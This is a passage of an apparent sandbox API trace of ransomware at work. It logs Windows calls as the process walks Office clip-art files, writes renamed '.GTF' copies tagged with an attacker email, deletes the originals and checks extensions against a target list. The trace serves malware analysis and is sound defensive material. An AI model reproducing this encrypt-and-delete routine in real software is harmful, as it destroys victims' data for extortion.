	[0089.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0089.867] lstrlenW (lpString=".jpg") returned 4
	[0089.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.867] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0089.867] lstrlenW (lpString="J0075478.GIF") returned 12
	[0089.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.867] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1220) returned 1
	[0089.867] CloseHandle (hObject=0x368) returned 1
	[0089.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 0x220
	[0089.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.868] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.868] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0089.868] GetLastError () returned 0x0
	[0089.868] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x4c4, lpOverlapped=0x0) returned 1
	[0089.887] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4d0, lpOverlapped=0x0) returned 1
	[0089.888] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.888] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.888] SetEndOfFile (hFile=0x334) returned 1
	[0089.888] CloseHandle (hObject=0x334) returned 1
	[0089.888] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.888] SetEndOfFile (hFile=0x368) returned 1
	[0089.889] CloseHandle (hObject=0x368) returned 1
	[0089.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 1
	[0089.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0089.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0089.890] lstrlenW (lpString=".doc") returned 4
	[0089.890] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0089.890] lstrlenW (lpString=".docx") returned 5
	[0089.890] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0089.890] lstrlenW (lpString=".pdf") returned 4
	[0089.890] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0089.890] lstrlenW (lpString=".xls") returned 4
	[0089.890] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0089.890] lstrlenW (lpString=".xlsx") returned 5
	[0089.890] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0089.890] lstrlenW (lpString=".ppt") returned 4
	[0089.890] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0089.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0089.890] lstrlenW (lpString=".zip") returned 4
	[0089.890] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0089.890] lstrlenW (lpString=".rar") returned 4
	[0089.890] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0089.890] lstrlenW (lpString=".bz2") returned 4
	[0089.890] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0089.890] lstrlenW (lpString=".7z") returned 3
	[0089.890] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0089.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0089.890] lstrlenW (lpString=".dbf") returned 4
	[0089.890] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0089.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0089.890] lstrlenW (lpString=".1cd") returned 4
	[0089.890] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0089.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0089.890] lstrlenW (lpString=".jpg") returned 4
	[0089.891] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0089.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0089.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0089.891] lstrlenW (lpString=".doc") returned 4
	[0089.891] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0089.891] lstrlenW (lpString=".docx") returned 5
	[0089.891] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0089.891] lstrlenW (lpString=".pdf") returned 4
	[0089.891] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0089.891] lstrlenW (lpString=".xls") returned 4
	[0089.891] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0089.891] lstrlenW (lpString=".xlsx") returned 5
	[0089.891] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0089.891] lstrlenW (lpString=".ppt") returned 4
	[0089.891] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0089.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0089.891] lstrlenW (lpString=".zip") returned 4
	[0089.891] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0089.891] lstrlenW (lpString=".rar") returned 4
	[0089.891] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0089.891] lstrlenW (lpString=".bz2") returned 4
	[0089.891] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0089.891] lstrlenW (lpString=".7z") returned 3
	[0089.891] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0089.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0089.891] lstrlenW (lpString=".dbf") returned 4
	[0089.891] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0089.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0089.891] lstrlenW (lpString=".1cd") returned 4
	[0089.891] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0089.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0089.891] lstrlenW (lpString=".jpg") returned 4
	[0089.892] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0089.892] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.892] lstrlenW (lpString="J0086384.WMF") returned 12
	[0089.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.896] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=9734) returned 1
	[0089.896] CloseHandle (hObject=0x368) returned 1
	[0089.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 0x220
	[0089.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.896] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.896] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0089.897] GetLastError () returned 0x0
	[0089.897] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x2606, lpOverlapped=0x0) returned 1
	[0090.377] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x2610, lpOverlapped=0x0) returned 1
	[0090.403] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.403] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.403] SetEndOfFile (hFile=0x334) returned 1
	[0090.403] CloseHandle (hObject=0x334) returned 1
	[0090.403] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.403] SetEndOfFile (hFile=0x368) returned 1
	[0090.404] CloseHandle (hObject=0x368) returned 1
	[0090.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.404] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 1
	[0090.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0090.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0090.404] lstrlenW (lpString=".doc") returned 4
	[0090.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.404] lstrlenW (lpString=".docx") returned 5
	[0090.404] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0090.405] lstrlenW (lpString=".pdf") returned 4
	[0090.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.405] lstrlenW (lpString=".xls") returned 4
	[0090.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.405] lstrlenW (lpString=".xlsx") returned 5
	[0090.405] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0090.405] lstrlenW (lpString=".ppt") returned 4
	[0090.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0090.405] lstrlenW (lpString=".zip") returned 4
	[0090.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.405] lstrlenW (lpString=".rar") returned 4
	[0090.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.405] lstrlenW (lpString=".bz2") returned 4
	[0090.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.405] lstrlenW (lpString=".7z") returned 3
	[0090.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0090.405] lstrlenW (lpString=".dbf") returned 4
	[0090.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0090.405] lstrlenW (lpString=".1cd") returned 4
	[0090.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0090.405] lstrlenW (lpString=".jpg") returned 4
	[0090.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0090.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0090.405] lstrlenW (lpString=".doc") returned 4
	[0090.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.405] lstrlenW (lpString=".docx") returned 5
	[0090.405] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0090.405] lstrlenW (lpString=".pdf") returned 4
	[0090.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.405] lstrlenW (lpString=".xls") returned 4
	[0090.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.406] lstrlenW (lpString=".xlsx") returned 5
	[0090.406] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0090.406] lstrlenW (lpString=".ppt") returned 4
	[0090.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0090.406] lstrlenW (lpString=".zip") returned 4
	[0090.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.406] lstrlenW (lpString=".rar") returned 4
	[0090.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.406] lstrlenW (lpString=".bz2") returned 4
	[0090.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.406] lstrlenW (lpString=".7z") returned 3
	[0090.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0090.406] lstrlenW (lpString=".dbf") returned 4
	[0090.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0090.406] lstrlenW (lpString=".1cd") returned 4
	[0090.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68
	[0090.406] lstrlenW (lpString=".jpg") returned 4
	[0090.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.406] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.406] lstrlenW (lpString="J0090390.WMF") returned 12
	[0090.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.407] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=17638) returned 1
	[0090.407] CloseHandle (hObject=0x368) returned 1
	[0090.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 0x220
	[0090.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.407] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.407] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0090.407] GetLastError () returned 0x0
	[0090.407] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x44e6, lpOverlapped=0x0) returned 1
	[0090.409] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x44f0, lpOverlapped=0x0) returned 1
	[0090.411] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.411] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.411] SetEndOfFile (hFile=0x334) returned 1
	[0090.411] CloseHandle (hObject=0x334) returned 1
	[0090.411] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.411] SetEndOfFile (hFile=0x368) returned 1
	[0090.412] CloseHandle (hObject=0x368) returned 1
	[0090.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.412] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 1
	[0090.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0090.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0090.412] lstrlenW (lpString=".doc") returned 4
	[0090.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.412] lstrlenW (lpString=".docx") returned 5
	[0090.412] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0090.413] lstrlenW (lpString=".pdf") returned 4
	[0090.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.413] lstrlenW (lpString=".xls") returned 4
	[0090.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.413] lstrlenW (lpString=".xlsx") returned 5
	[0090.413] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0090.413] lstrlenW (lpString=".ppt") returned 4
	[0090.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0090.413] lstrlenW (lpString=".zip") returned 4
	[0090.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.413] lstrlenW (lpString=".rar") returned 4
	[0090.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.413] lstrlenW (lpString=".bz2") returned 4
	[0090.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.413] lstrlenW (lpString=".7z") returned 3
	[0090.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0090.413] lstrlenW (lpString=".dbf") returned 4
	[0090.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0090.413] lstrlenW (lpString=".1cd") returned 4
	[0090.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0090.413] lstrlenW (lpString=".jpg") returned 4
	[0090.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0090.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0090.413] lstrlenW (lpString=".doc") returned 4
	[0090.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.413] lstrlenW (lpString=".docx") returned 5
	[0090.413] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0090.413] lstrlenW (lpString=".pdf") returned 4
	[0090.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.413] lstrlenW (lpString=".xls") returned 4
	[0090.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.414] lstrlenW (lpString=".xlsx") returned 5
	[0090.414] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0090.414] lstrlenW (lpString=".ppt") returned 4
	[0090.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0090.414] lstrlenW (lpString=".zip") returned 4
	[0090.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.414] lstrlenW (lpString=".rar") returned 4
	[0090.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.414] lstrlenW (lpString=".bz2") returned 4
	[0090.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.414] lstrlenW (lpString=".7z") returned 3
	[0090.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0090.414] lstrlenW (lpString=".dbf") returned 4
	[0090.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0090.414] lstrlenW (lpString=".1cd") returned 4
	[0090.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
